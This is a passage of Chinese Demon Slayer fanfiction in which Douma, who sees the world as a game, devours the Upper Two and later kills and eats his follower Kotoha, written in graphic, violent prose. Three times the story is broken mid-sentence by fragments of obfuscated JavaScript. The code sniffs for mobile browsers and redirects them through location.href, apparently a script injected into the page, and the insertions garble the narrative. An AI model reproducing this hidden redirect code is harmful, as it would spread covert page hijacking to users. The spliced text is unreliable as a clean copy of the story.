当上弦叁真好啊……什么时候她也能拒绝童磨的拜访而不是用自己的无限城给他造几十间房…… 童磨不死心:“那可以告诉我他的位置吗?” “不行呢。”鸣女忍不住用了个轻快的语气词。 “哎——好过分。”童磨眉毛愈发下垂。 猗窝座阁下根本没有考虑过一个真诚地想和他成为朋友的善良人士的脆弱心灵! 哼(╯‵□′)╯ 他生气了! 他要(暂时)努力成为猗窝座阁下的上级! “可以把我传送到上弦贰大人那里吗?” 鸣女不语,轻拨琵琶。 几秒后童磨落到了一片雪原上。 “上弦贰大人——谅顺阁下。”童磨很快感知到同类的气息,笑眯眯地打招呼。 “是你啊。”散漫的声音从头顶传来,乌黑长发包裹住全身的鬼低头,“新任上弦之六。你来这里干什么?” “来找阁下你呀。”童磨语调绵长。 谅顺觉得自己如果是人类鸡皮疙瘩就要起来了,语气略微暴躁:“没事别来烦我,我和你没什么关系。” 他正在找蓝色彼岸花呢! “哎?”童磨歪头,眨了眨眼,“可是谅顺阁下对于我是重要的同伴哦?谅顺阁下能够看出来吧?” “装出一副情感充沛悲天悯人的样子。”谅顺轻嗤,“实际上毫无感情吧?真够恶心的。” 童磨再度无辜地眨了眨眼。 “上次共享视野就被你恶心到了。明明是鬼,却被人当神来拜。” “还有你的理论也假得要死。吃掉了,消化完,就是什么都不存在了。哪儿来的接受血肉思想?真把自己当救苦救难的神了?” 童磨缓缓收敛了笑意,七彩琉璃眸似乎因伤心而下垂,语调却诡异地上扬:“啊咧——这样被否定,即使是我,也会很伤心的。” “我明明,平等地怜悯、爱着我的每一个信徒。为什么大家都在质疑呢?” 他莫名想到游戏之初,明明认真翻阅了相当多的关于管理教会的典籍,却不能阻止所有想要破坏教会的人。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292439|198513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他们改写规则,将权力和金钱牢牢攥在手中,然后对年幼的孩子说:您只要坐在这里就好了。 您只要坐在这里,当一尊神像就好了。 只有捐赠大量钱财的才是心诚的人。 只有心诚的人才能被救赎。 而心诚的人,即便是让您流血,作为神子也要宽容地原谅。 这就是您存在的意义。 这就是无名的“神之子”存在的意义。 …… “您不是神子。”于是贫穷的信徒绝望地说。 …… 真是让人厌烦的剧情。 明明笨得要死,却不懂得满足和收手,甚至难以理解他的理想。 这种伪信徒只配在淤泥下腐烂,供养洁白的莲台。 出淤泥而不染,濯清涟而不妖。 “这种话骗骗自己就得了——你有爱这种情感吗?”谅顺又是一声嘲弄。 我啊……当然……我可是爱着每一个信徒啊…… 我记得他们的样貌,他们的思想,他们的赤忱,以及进食他们时的那份温热。 虽然从始至终,我都是作为“玩家”在观察“npc”。他们的一切对我毫无意义,我却依旧认真地记下了每一个人,只因为这是我的职责。 ——你怎么能质疑这样善良赤诚的我? “谅顺阁下。”童磨微笑,指节轻敲扇骨,“能否陪我玩一会儿呢?我会好好说清的。” “我说了,滚!我可不像猗窝座一样好耐心。”谅顺长发飞扬。 “那就没办法啦。”童磨叹气,向无惨发送了请求,“大人~我申请向上弦二发动换位血战。” 我申请,吞噬上弦二。 …… 非常幸运——幸运至极 这位上弦贰的等级只有lv86,和他一样。 但毕竟是上百岁的鬼了,总有些不为人知的招式。 那么—— 童磨空明澄澈的眸中升起亮光。 来玩儿命吧。 谅顺阁下的命和自己的命,一定好玩到爆呀哈哈哈哈…… …… “我赢了哦。”在内脏和声带之间,童磨选择先恢复声带。 富有少年感的音色现在沙哑得厉害,唯独其中的笑意不变。 他伸出唯一一只手,将谅顺仅剩的头颅往胸口按下,目视对方的五官缓缓溶解,随即绽放出一个天真单纯的笑容。 同样破破烂烂的御子检回他断成两三节的手和腿。几十条甚至分不清哪条是谅顺的,哪条是他的。 不过无所谓。 童磨照单全收。 他是真的很饿了,当初变成鬼的几分钟内都没这么饿。身体仿佛空虚的洞,每一分每一秒都在旋转尖啸。 “做得不错,童磨。” 无惨大人的声音。 原来这才是最快的升级方法。之前因为太重视同伴都没有想到呢。 可惜可惜,他现在只能对上弦壹发起换位血战了……貌似完全打不过耶。 童磨抬头,对着看席上的第一位招手,笑了一下:“黑死牟大人~” 上六直接换位上二,十二鬼月的成员都忍不住看热闹的心,听到无惨的通知后齐齐到场。上弦各有席位,下弦则可怜得挤作一团。谢花兄妹夹在中间呐喊助威。 黑死牟看着破破烂烂的童磨,排除了这是换位血战邀请的想法,隔着帘幕微微点头:“方才表现……尚可……” 童磨脸上立刻绽放出阳光灿烂到令鬼不适的笑容。 难得正眼看了会儿童磨的猗窝座别开眼。 玉壶抱紧自己的壶,难以置信自己有眼光的赏壶小伙伴如此心理扭曲。 而玉壶的心态是此时大部分鬼的心态。平时笑嘻嘻没个正形不可怕,可怕的是快死了还笑嘻嘻每个正形,然后在其他鬼死光的情况下独活。 童磨舔了舔尖牙。 啊……不行。 即使竭力转移注意力,还是好饿呀。 没办法呢,鬼就是这样一种身体欲望强烈到病态的生物。可悲程度比起人类,也不遑多让。 童磨思考哲学之际,众鬼陆陆续续被送出无限城。 谢花兄妹神色匆匆,率先离开。 是什么人对小堕姬和小太郎的花魁之位造成威胁了么?好想去看看呀…… 说起来,日常藏在小堕姬脊骨里的小太郎,也算是京极屋的花魁了呢~嘻嘻。 哲学话题转为对后辈身份的调侃。童磨边调侃边起身:“琵琶姐姐~” “啊啊啊童磨你要死啊……不对你不要死啊!” 一块美丽的肉忽然闪到他面前,摔下两道长相普通的菜。 童磨快速吸收了菜。 呜呜呜好感动,原来小堕姬和小太郎是去觅食了。才这么一点大、这么弱小,就这么懂事了。 童磨揉揉肚子,绽放笑容:“啊啊,好开心呢,小堕姬和小太郎终于要继承我的衣钵了。” 堕姬闻言,拳头有些硬。 “童磨大人……你这回确实太冒进了。”妓夫太郎从堕姬脊骨处钻出,不赞同道,“你的天赋明显比前上二强,再过一段时间他绝不会对你造成这么大伤害。” “可是玩命很有趣耶。刚才真的有要死了的感受哦。心脏跳得超级快。”童磨西子捧心,眼尾泛开一抹潮红,“和话本里说的心动一样。” 他生了一副艳若桃李的好皮相,现在偏又眼尾泛红,呼吸急促,衣衫破碎半遮半露,惹人想入非非。 偏偏说的不是人话。 堕姬和妓夫太郎豆豆眼。 “你果然是要死了吧。”堕姬语气肯定地说。 4. 番外 为神[番外] 番外,童磨个人正剧向,内容和正文无关,可跳 正文: [我从小就既善良,又聪明] 彩虹收纳颜色,现于飘渺的高空,是神明来到人间的桥梁。 “这孩子的眼中有彩虹!” 琉璃晶莹剔透,折射千万颜色与污秽,是佛教五宝之一。 “这孩子生就一双琉璃瞳!” 新婚的男女伸长了两双手,四手交缠却像是千足的蜈蚣,将他捧上高空: “此子眼中见大千!” “这孩子是神明的孩子!神之子!” “他可以领导我们去往极乐世界!” 千万张嘴,异口同声。 三人成虎,众口铄金。 ——他们拥有了活的神龛。 …… 童磨在幼年,少年,乃至青年时期都是没有名字的。这种情况一直持续到鬼王捏碎他的天灵盖,热血顺着白发和额头淌下,被焚香与经文供奉的神之子才拥有了象征自己的符号——在此之前他是这符号本身。 ——幼年的神之子是被花团簇拥着的卍字符。 卍字符和人自然肉眼可见地不同:神之子自幼远离愚昧,诵读经书;自幼远离幼稚,听众生苦;自幼远离大喜大悲,做那莲花座上活的观音像。 然而,神之子也有愚昧幼稚的时候——他曾经以为背后的佛像才是他的同类——它们坐着相同的蒲团,受着同样的跪拜,享着同等的香火,听着同样的苦难…… 因着佛像,神之子学会了微笑,眉目半合地微笑;就着佛像,神之子学会了哭泣,眉目低垂地哭泣。一切的一切都如那座上佛。 然而他和佛像终究是不同的:跪坐得久了,他的双腿会酸麻;听他人的苦厄久了,他心里会生出厌烦;学习经文的时间久了,他也会有迷惑。 这些不同是神之子身上属于人的部分,是使他堕落为凡人的部分,是应该剔除的部分。 渐渐地,难以剔除这些部分的神之子终于意识到了他和佛像不是同类。 于是他决定寻找自己的同类。 他开始观察这个世界。 庙堂内的世界永远焚烧着香,座下人座上神,安排得明明白白,明晰得彻彻底底,不可能有同类。 神之子在簇拥下走出了庙堂。 他规规矩矩地盘腿而坐,看云卷云舒,天光清亮。看那新栽的莲花从廊头开到廊尾,被说是来年连绵的福泽。看那麦浪从翠绿染为金黄,又被裁剪为参差的土地。看那群鸟迁徙渐日稀,身后云层变换形状,坠落成雨。 雨珠打到他的手上,微凉。 鸟聚集成群,莲花亦然,麦穗亦然,雨水亦然。 聚集在他身边的,才是他的同类。 神之子转头,望见身后拜了一地的信徒。他们的额头顶着泥土,像要把自己种进地里,期待来世开出极乐的花。 这是天地间与他最为相似的生物,而他们不承认他为同类。 ——他不是他们的同类。 神之子在簇拥下回到了庙堂,座下人座上神,安排得明明白白,明晰得彻彻底底。 ——他看到的庙堂如此,因为他是最早被安排的那一份。 他们说他能带来福泽,他们说他能与神耳语,他们说他是极乐世界的信使。 他们说他是神。 从未做到这些的神之子想:既然他们坚信的都是虚无缥缈之事,那么—— 此世应当无神。 何等可悲。将同类异化,奉上神台,由此得到心理的满足,告诉自己来生幸福安康。 他们甚至不敢祈祷来年或者来日,生怕自己编造的谎言使自己绝望。 可悲,可怜。 神之子双目半合低垂,悲悯作笑: “这里是万世极乐教,神会引导你们,而我会救赎你们,带领你们前往极乐世界。” ——不要悲哀,因为我在笑。我在笑,说明你的未来一切都好。 ——我永远不会停止微笑。 ——而你尚有光明未来。 姿态一如座上佛。 或许此时此刻,它们更像同类。 由普通的材质打造,刷上金漆,伪装出一副怜悯众生的姿态,而得到香火与跪拜。 它们根本不需要的,香火与跪拜。 …… “为什么哭?”神之子问跪拜的妇人。 “因为苦。” “苦从何来?” “从心生。” “心在何处?” 妇人怔然。 神之子伸手去碰她湿润的脸颊,触感与佛身上的金漆并无不同。 俱是色相。 …… “您能带我们往生净土吗?” 神之子望向殿外被雨打散的莲池,莲花挣扎如即将溺亡的蝴蝶。 “净土在何处?”神之子反问。 他们惶恐又期待地望向他七彩的虹瞳。 …… “请带我女儿往生净土……”妇人哭喊着,身后草席里裹着一个小小的身体。 神之子伸手,只摸到女孩已然冰凉的柔软脸颊。 绝对的,毫无痛苦。 他漫无边际地想。 当然神之子什么都没说,只是把供桌上的甘露水洒在女孩额头,模仿佛像低眉的模样说:“她已抵达极乐。” 农妇的眼泪依旧在流淌,但她颤抖的嘴唇勾勒出微笑的弧度。 悲极生乐。 神之子的言语从来都是这样使用,像用金漆修补塑像的裂缝。 …… 神之子很聪明,很快掌握了技巧。当信徒诉说贫穷,他就描述琉璃铺地的净土;当妇人哀悼亡夫,他就讲述莲花化生的奇迹;当老人畏惧病痛,他就阐释无常即常的妙理。 苦痛在神之子口中转化成极乐。 万世极乐35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292440|198513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “这里是万世极乐教,我会救赎你们,带领你们前往极乐世界。” 世间从无极乐,唯一根除痛苦的方法只有死亡——腐烂的大脑无法孕育情绪。 但谎言重复上千次,欺骗上万人,也就成了真——人与人相互验证,甚至能骗过始作俑者本身。 ——死亡即为极乐。 神之子开始将之作为自己生存的意义。 神安抚,引导,教化。 人悲哀,平静,温顺。 神之子长成了众生心中神该有的模样。人驯化了神。 神没有私欲。 神之子没有私欲,缺乏喜怒哀乐。 神怜悯众生。 神之子怜悯众生,自知众生皆苦。 神高高在上。 神之子高高在上,蔑视他的教徒。 ——多么愚蠢。 空心的佛像微笑,众人铸就的金身熠熠生辉: 竟然相信由你们铸造出的我,为神。 …… 血液染红无垢的白发,玷污纯净的象征。 赐字划开流光溢彩的七彩虹瞳,损毁神明的佐证。 血鬼术绽放。 巨大的佛像浮现在他身后,他坐于莲台。 神之子没有执念。 然众生皆苦,万般执念加诸其身,铸了一位冷心冷情的菩萨。 [我终于有了能将你们带往极乐的能力] 神之子无声微笑,如是想。 死亡让思想获得平静,肉身却腐烂作泥。 那么让他来接纳这些遗物吧。 从皮,到骨;由血,及肉。撕咬,啃噬;吮吸,吞食。干干净净地来,干干净净地去。这便是佛口中无上的因果与轮回。 女人的胴体在齿间碎裂,清甜像熟透的莲蓬。她们的记忆如走马灯流转,幼儿第一声啼哭,情人温柔的呢喃,临终忏悔…… 炽热的执念在他的胃里冷却成宁静的虚无。 ——凡所有相,皆是虚妄。 ——他记住跪拜他人的思想,吞食跪拜他人的血肉。他们的思想和□□同时被他留存,与此同时再无痛苦悲哀。 此为救赎,此为往生极乐。 童磨如此说。 ——我不是出手相救了吗? …… 童年的磨难?有趣的说法,不过这只是我的责任啦。 我是童磨,万世极乐教的教主。 我将带领我的信徒,在永恒的时光中到达崇高之境。 这就是我,作为神之子,存在的意义。 …… “这里是万世极乐教。” 童磨缓缓展开金扇。 “我会引领你们,前往没有泪水的极乐净土。” 座下欢呼如潮涌。 潮声中,无人听见神之子颅骨深处传来细微的、持续的 像木鱼般空洞的 回响。 5. 第 5 章 “是个大雪天呢。” 作为冰之鬼,雪天是童磨较为偏爱的天气之一。可惜游戏丝毫不考虑让主观能动性极强的玩家(比如他)来改变天气,主打一个随机。 能造雪的童磨表示不开心。 雪天遮掩了烈日,天地间一片冷寂的苍白,就连鬼都能在这样的白日里出行。 童磨换上新的木屐和足袋,哼着歌踩进雪里。 大雪封山,山里很是安静,天地间似乎只有木屐踩入雪地的声音。吱嘎吱嘎,乱成飞散的群鸟。 不知道过了多久,童磨才听到第二个喘气声。 喘气声并不平稳,激烈而虚弱,大概是身体素质不好的人长时间运动的后果,伴随着沉重的脚步声。 光脚的可怜孩子,大抵是重病了。童磨作出判断。 他不紧不慢地上前,打算和未来的信徒提前见个面。 ……哎呀。搞错了呢。 女人裸露的肌肤上是大片青紫的淤痕,新疤压上旧疤,层层叠叠是长久压抑生活的形状。单薄的布料勾勒出她瘦弱身形,她手中抱着的孩子却裹了至少三件外套,脸朝内汲取着她心口的温暖。 一个处于长期家暴,忍不住出逃的孩子。 注意到有人,女人有些惊喜,抬头:“请问山上是……” “……万世极乐教吗?” 她半是充愣的,断断续续地说完。 笑容温柔的青年雪发在苍白的天地间飘舞,几乎和雪花融为一体,七彩的瞳孔盛着彩虹,微微弯起,又垂出几分悲悯的弧度。他手持一把绣有莲纹的伞,略有倾斜,于是赤红和服仅有一半被阴影笼罩。 枯树乌黑,白雪压枝,唯他虹瞳璀璨,包揽了世间所有颜色。 若世间有渡人的佛。 ……若世间有救人的神。 便应当是此等模样了吧。 见识浅薄的乡村少女如此想,虔诚地弯下腰。 “……神明大人?” 童磨噗嗤笑出了声。 他不是第一次见到这么想的npc了,但每次都觉得这些人蠢得可爱。 相信世间有神什么的。 “不是哦,神明是不会轻易来到凡世的。我只是神之子。”童磨走近,动作轻柔地扶起少女,“同时也是万世极乐教的教主。” “可怜的孩子。”悲天悯人的教主虚伪地落下泪来,“一路上很艰难吧,即便如此也没有放弃,很坚韧呢。” 他尚且温热的泪打在她手上,笑容却温暖干净:“现在和我离开吧,一切都结束了哦。” “感谢您……”女人面色感激地回应,“教主大人。” 童磨等了三秒,没等到诉苦,漂亮的虹瞳微微睁大,但很快他就找好了理由: 嗯嗯,肯定是因为快冻死了没力气才这样的,是个聪明孩子。 童磨正要开口,耳朵忽然捕捉到了另外两个脚步声。 他状似无奈地叹气:“呐,今天运气不太好,可能要小……你等一会了。” 唔啊,居然忘记问名字了,失策失策。 “没关系的,教主大人。”女人抬头,遍布伤痕的脸透出坚毅,“我可以继续上山的。” “那太好啦。教会就在山顶,朝这个方向走就可以了。”童磨笑眯眯地给她指了路。 哎呀,真是个坚韧得让人心怜的孩子。骨头和金平糖会很像吧? 他们在雪地间相错而过。 童磨很快遇到了家暴那个可怜孩子的人。 “两位是去拜访万世极乐教吗?”教主大人尽职尽责地询问。 “什么鬼教派?我是来抓那个贱人的!”男人不耐烦地回答,一米六的身高里装满了大大的勇气,“居然还敢跑……长胆子了她,看我这回不好好收拾她!” “我早就说过了,把琴叶的腿打瘸一条更好。你非说这样子显得没面子。”老人干枯阴郁地斥责。 感觉自己和教派被无视了呢。童磨转动伞柄,落雪倾泻而下。 不过那个孩子叫琴叶吗?意外地不难听。 两人依旧喋喋不休地怒斥琴叶的“忘恩负义”“不知羞耻”。 童磨无聊地打了个哈欠。 ——游戏是有什么对话模板吗?这些边角料npc居然能把同样的内容翻来覆去骂十八遍。 “我说两位。”童磨懒洋洋地开口,“既然不是来拜访,就请离去吧。” 他伸手,伞尖直直地指向山下:“一直在我面前说这些,我可是会很苦恼的哦?” 毕竟他的设定善良温柔的好人(自封)嘛。 “滚开!你有什么资格赶我们下山?”男人粗暴地谩骂,“事儿唧唧的。” “唔……这座山的地契?” 对面噎了一下,很快狐疑地眯起眼:“我说——你不是早有预谋吧。” “那个祸事娘们那么久都没反抗,偏偏听说了什么万世极乐教就敢跑。”他越说越怀疑,“该不会是早就和那个破教会搭好线了吧?” 破,破教会? 猗窝座阁下都没这么伤过他的心QAQ…… 无惨大人前不久还夸赞了他(的教会)贡献的金钱和人脉…… 童磨觉得自己的心灵受到了伤害:“好过分……明明才刚见面,为什么要说这么过分的话?” 这句指责一出,对面两人都沉默了。 ——感情这万世极乐教养了一只不会骂人的傻白甜啊。 傻白甜泫然欲泣,掏出了一把看起来很值钱的金属扇,轻轻一挥。 两位食材“噗叽”四下摔在雪地里。 童磨觉得自己受伤的心灵依旧没有恢复——他的食欲减弱了,不想吃看起来口感超烂的两人。 悲伤的教主大人只能指挥结晶之御子把两人扔下悬崖,随即若无其事地返回教会。 中途遇上了气喘吁吁的琴叶,善良大度的教主凭借身高和种族优势一手一个把他们提上了山。 …… “感谢教主大人!我会努力工作的!” “什么困难?没有啊,能够来到这里,和大家遇见我就很开心了。” “童磨大人……好厉害!一下子就把信徒的问题解决了。” “伊之助会叫妈妈了,好开心!” …… 诸如此类。 琴叶是个过分乐观的笨孩子。童磨如是想。 明明遭受了各种苦难,却坚信未来是美好的,既不抱怨,也不悲哀。每天挂着太阳一般灿烂的笑容向他问好,感谢万世极乐教的每一个人。 是那种被卖了还给人数钱的笨孩子。 笨孩子的孩子似乎也不大聪明,一岁多了还不怎么会讲话。童磨清晰地记得自己这个年纪已经常在父母悲伤时安抚他们了。 这么笨,两个人出去不到一周就会死吧。 再多留一会儿好了。 留到她自愿往生极乐的时候好了。 呐,人快乐的时间久了,总是会苦恼的,对吧? 没有人能拒绝极乐。 童磨听着琴叶哼歌哄伊之助,慢慢合上了眼。 如果他是一个正常人,此时的心情应该是愉悦吧? …… 莲台下的花每天都在换,冬去春来,夏花繁。 但对于童磨来说四季没什么区别——除了特殊日子的祭神舞,每一天都没什么区别。 他不能理解欢欣鼓舞的教徒将繁花装点,获得好心情并相信他人也如此。 以己度人是一种宽容,也是一种愚蠢。 童磨蔑视这种愚蠢,却也会包容。 “童磨大人。”琴叶捧着几支莲花踏入室内,嫣红的花瓣将她的面颊染上桃色。 “是小琴叶啊,有什么事吗?”童磨放下经书。 小琴叶也会困于这些无意义的东西,好无聊的说~ “这些花是由童磨大人您之前亲手撒下的莲子长成的,格外娇艳呢。”琴叶有些兴奋地捧起莲花,笑眼弯弯。 随手撒下的种子,不被关注的生长过程,成品如何明明和自己毫无关联吧?即便如此,也要“归功”于种种人。 心里不理解,但对于教徒童磨向来不会扫兴:“这么快就开花了吗?今年运气不错呢。” “是啊。”琴叶点头,“之前好几次以为活不下来了……大家都很担心。” 然而下一秒,她绽放出一个巨大的笑容:“不过最终挺过了这几个冷天,一切都在绽放了。现在池里各种颜色的莲花都混在一起,艳红的雪白的杏黄的,乍看上去和童磨大人的眼睛一样。” “我的……眼睛?”童磨有些疑惑。 他的眼睛是游戏里的父母将他奉为神之子的缘由,彩虹一般,被视为和神沟通的桥梁。 花是不配用来形容他的眼睛的。 “小琴叶是喜欢鲜艳的颜色吗?”童磨恍然大悟,“那要不要多做几身衣服?我这里还有很多布料哦。” 布料是小堕姬之前送来的,嘴里说着要多换几身衣服什么什么啦。 但他是绝对不会放弃无惨大人赐血时血液流淌下的美妙形状的!必然保持服饰和鬼纹一致! “不是的。”琴叶摇头,“很感谢您。但这是不一样的……” 她眉头蹙起,试图用自身有限的文学功底来表达:“花是……活的,有些时候甚至觉得它们和人一样。看着它们在照料下生长出漂亮的样子,就像生命在相互祝福。” “而满池的莲花,是童磨大人愿意收留我们后,又给予我们的馈赠。” [您是如此善良真挚的存在。和您相比,神明不过是泥塑的像。] 琴叶举起最漂亮的一支莲花,靠近童磨。 鬼敏锐的五感让童磨提前闻到了浓郁的花香。 什么啊,小琴叶真是太笨了。即使花本来是活的,从摘下来的那一刻,它就死了啊。 而人作为剥夺它生命的刽子手,还在颂赞它死后的美丽。 “其实这些莲花从被摘下的那一刻就死了,只是现在还残留了一点生机。如果可以,真希望童磨大人出去看看池里的莲花啊。”琴叶轻声感叹。 ……哎? 所以她是知道的吗? 那为什么要摘下它们呢? “如果不行,至少也想让童磨大人看看它们曾经的美丽呢。” 原来如此。 虽然摘下的花会在几天内死掉,但因为被自己看到,就有了价值。 奇怪的价值判定。 琴叶踮脚,将莲花插在了神之子洁白无垢的发间。 果然很美……她出神地想。 童磨没有动,笑眯眯地任由她调整莲花的位置。 同为光鲜亮丽的尸体,他和它确实还蛮配的。 ……嘛。 和小琴叶生命互相祝福的说法,完全是对立面呢。 小琴叶呀小琴叶,真是奇怪。明明能够认识到真实的丑恶,却总是用阳光赤诚去修饰。 感觉底层代码是混乱的呢。 光是看着就觉得好有趣的说~ 留到寿终正寝吧。 当然,如果小琴叶想要前往极乐世界,他也绝对不会拒绝的啦~ …… 琴叶,肯定不是普通npc ——普通npc不会拒绝极乐。 童磨一手撑着下巴,一手不死心地点开琴叶面板。 【姓名:琴叶】 【身份:万世极乐教信徒】 【种族:人】 【归属阵营:人类】 【等级:lv1】 【特殊技能:无】 【特殊称号:无】 可恶,面板你敢不敢再多给一点信息? 不开心的童磨在床上拱来拱去,活像条炸毛的猫猫虫。 到底是哪里出了问题?为什么琴叶从来不向他哭诉? 果然—— 童磨“噌”一下坐起。 ——是这个游戏的逻辑混乱了吧。 作为特殊样本的琴叶,要好好保留才行。 ——之前留到寿终正寝的决定果然是正确的,他就是天选解密人!罒ω罒~ …… 留到寿终正寝。 门漏开一条缝,身着绿色和服的女子疯了般冲进来,质问恶鬼。 “不是这样的,小琴叶。”童磨机智地放下残肢,让自己看上去更像人一点,“他们是自愿去往极乐世界的,我只是在帮他们达成夙愿哦。” 至于临死前反悔,当然不可以啦。 琴叶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292441|198513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像是咬住舌头一样顿住了声。 承认了…… 没有什么隐情,没有什么意外—— 童磨大人,只是单纯地杀死信徒,然后吃掉他们而已…… 可是,您不是那个最开始、说要带给他们幸福的神之子吗? “骗子!”琴叶挤压出肺部的空气,在遍地血肉间前进,“一切都是您自己的想法而已,根本没有什么去往极乐世界!” 是啊,根本没有什么极乐世界或者神明,神之子冷漠地想。 ——从始至终,都只有他在努力救赎他人而已。 ——从始至终,都只有他像npc一样,努力地送走这些可悲可怜的家伙而已。 “不要这么说出来嘛,小琴叶,有人会因此伤心地死掉的。”童磨谆谆善诱,“呐,你看,他们本来就很痛苦了,活下去也只会重复经历这些痛苦。在最幸福的时候无知无觉地死去,这本身就是一种极乐啊。” ——日常和他们相处的你,应该知道他们的痛苦吧? ——曾经无比逼近死亡的你,应该能理解吧? “根本不是这样,您一直在骗人!”琴叶双手捂住耳朵,林间鹿一般清澈的眼睛淌下泪来,“您不止……不止是杀死他们……您还在,我看到了……” ——您吃了他们。 就像人吃畜生。 “不是这样的,小琴叶。”童磨顿了顿,吐露自己真实的想法,“他们的灵魂不在这里,留在这里的只是一些无用的肢体,就像剪断的指甲或者头发,只会被丢掉。” ——那么作为终结他们痛苦的报酬,不想饿死的我吃掉他们的遗物,是可以谅解的吧? 琴叶发出一声痛苦的喘息,童磨病态的观念像是锥子狠狠凿入她的胸腔,保护心脏的胸骨碎裂,一腔热血泄尽。 “您不止是骗子,还是疯子。”她绝望地说,缓缓后退。 哎?为什么没有被说服?他的理论和逻辑不是很完美吗? 不对不对,他没有考虑到小琴叶的理解能力。 嗯,对笨姑娘要宽容一点,说得更详细才行。 童磨伸手,胸有成竹地打算再说一次。 琴叶却毫不犹豫地转身跑开,背影很快消失在夜色中。 风拂过童磨的手心,他茫然地收回手。 ……哎? 小琴叶,好过分,不听人讲话。 童磨迈出门框,月光照亮了衣角处鲜血。 好脏。教主大人嫌弃地皱眉。 对了。小琴叶肯定是被血迹吓跑了,人类大多都这么胆小,小琴叶也不例外。 正好时间充裕,先换件衣服吧。 三分钟后,衣装整洁的极乐教主踏入山林。 小琴叶实在是很笨的姑娘,除了伊之助什么也没带。就这样背着二十几斤负重,向着绝路跑。好像他们除了万世极乐教还有什么别的去处一样——当初她快被打死时,周围也没人帮她呀。 哎呀,果然摔跤了呢,血腥味都被夜风送过来了,真是个傻姑娘。 ……为什么还在跑呢,他不是有在好好解释吗? 缺乏喜怒哀乐的极乐教主眸子深处浮出星星点点的疑惑。 但到底没路了,前面是万丈悬崖,小琴叶和伊之助摔下去就尸骨无存啦。即使是金平糖,也会碎成千万块亮晶晶的糖片。 童磨不紧不慢地上前,月光拉长他的倒影,恰好笼罩住琴叶母子二人。 这样的自己好像反派哦。 不过没关系,很快就会回到正轨了。 “对不起,伊之助。”琴叶喃喃,“妈妈又作出了错误的选择。” 小琴叶居然觉得投靠万世极乐教是错误的选择吗? 哇呜,好伤心呀…… 感觉一腔真心被否定了呢…… 可是两次都被逼到悬崖边上的小琴叶,实则毫无选择的余地吧? 一切都是被安排好的,绝妙的剧情呀。 琴叶深吸一口气,双手前伸。 童磨意识到了什么,瞳孔放大,却没有阻止,只是漠然地看着那双紧攥着襁褓的手松开。 尚不能言语的孩子下坠,坠入深渊。 存活率不足万一。 小琴叶,居然抛弃了自己的孩子吗? 宁愿去赌那万分之一的存活率,也不愿意相信自己吗? ……嘛,不过某种意义上小琴叶猜得也没错呢。如果伊之助想去往极乐的话,他一定会帮助他的。 啊…… 真讨厌。 这份敏锐。 上弦二隐约有些厌倦地想,下一刻猛地抬手,华美的金扇在夜色中划出一道绚烂的弧光。 扇尾翠绿轻晃。 琴叶倒在他新换的衣服上。 …… 吱嘎,吱嘎。 味道果然和金平糖很像。 坚韧不肯服输的人骨头总是很硬,温柔蕙质兰心的人血肉总是甘甜。 所以到底也没能看到那个孩子长大呢,小琴叶。 真是可悲的一生呀。 …… “已经吃掉了吗?”堕姬左看右看,有些失望。 “小堕姬在说什么?”童磨眨眼。 “那个女人……叫什么,叶子?”堕姬费力地回忆,很快放弃,“和现在的丑八怪侍女相比长得还行的那个。” 小琴叶啊。 “吃掉了哦。”相当美味。童磨舔了舔尖牙。 他第一次在非吸收的情况下,一点渣子都不剩地吃下了。 “漂亮的人吃起来味道当然好啊,我最近吃的都是什么丑八怪嘛……”堕姬嘟囔。 “呐,去新造和秃里面挑几个吧?”童磨好心建议,“一起?” “才不要。”说起这个,堕姬有些心酸——游郭的漂亮游女有相当一部分不是自己吃的而是童磨吃的! “这也没办法啊。”童磨懒洋洋道,“美食总是有限的。” ——像小琴叶那样笨的孩子,也总是有限的。 游戏给他刷新了一个,就不肯刷新第二个了。 (金平糖是一种在日本流行的硬糖,质地坚硬,口感清脆。由细小的糖晶层层结晶而成,表面布满棱角,形状像小星星或小碎块,颜色缤纷多彩) 6. 第 6 章 如墨的夜色中注入了一泓清泉,将乌黑慢慢晕染成迷蒙的灰。 哎呀,天都快亮了,下次工作可不能这么忘我了。 完成每夜kp的童磨脚步轻快地步入暗巷,浅色的长发在灰暗中晃出一弯柔和的弧光。 呀,前面有个很可爱的女孩子呢。不过看着不是很痛苦,他就不给自己加工啦。 童磨和纤细高挑的少女背向而行。 就在童磨背后暴露的那一刻,少女猛地转身,纤薄锋锐的日轮刀刹那出鞘,劈开空气直指他的后颈。 童磨的视线在面板上停驻了一瞬。 【姓名:蝴蝶香奈惠】 【身份:鬼杀队·花柱】 【种族:人】 【归属阵营:人类】 【等级:lv.69】 【特殊技能:(隐藏)】 【特殊称号:花柱】 哇呜——居然是个柱呢! 这下不得不杀死了~ 不然他有可能会受到无惨大人批评呀~ 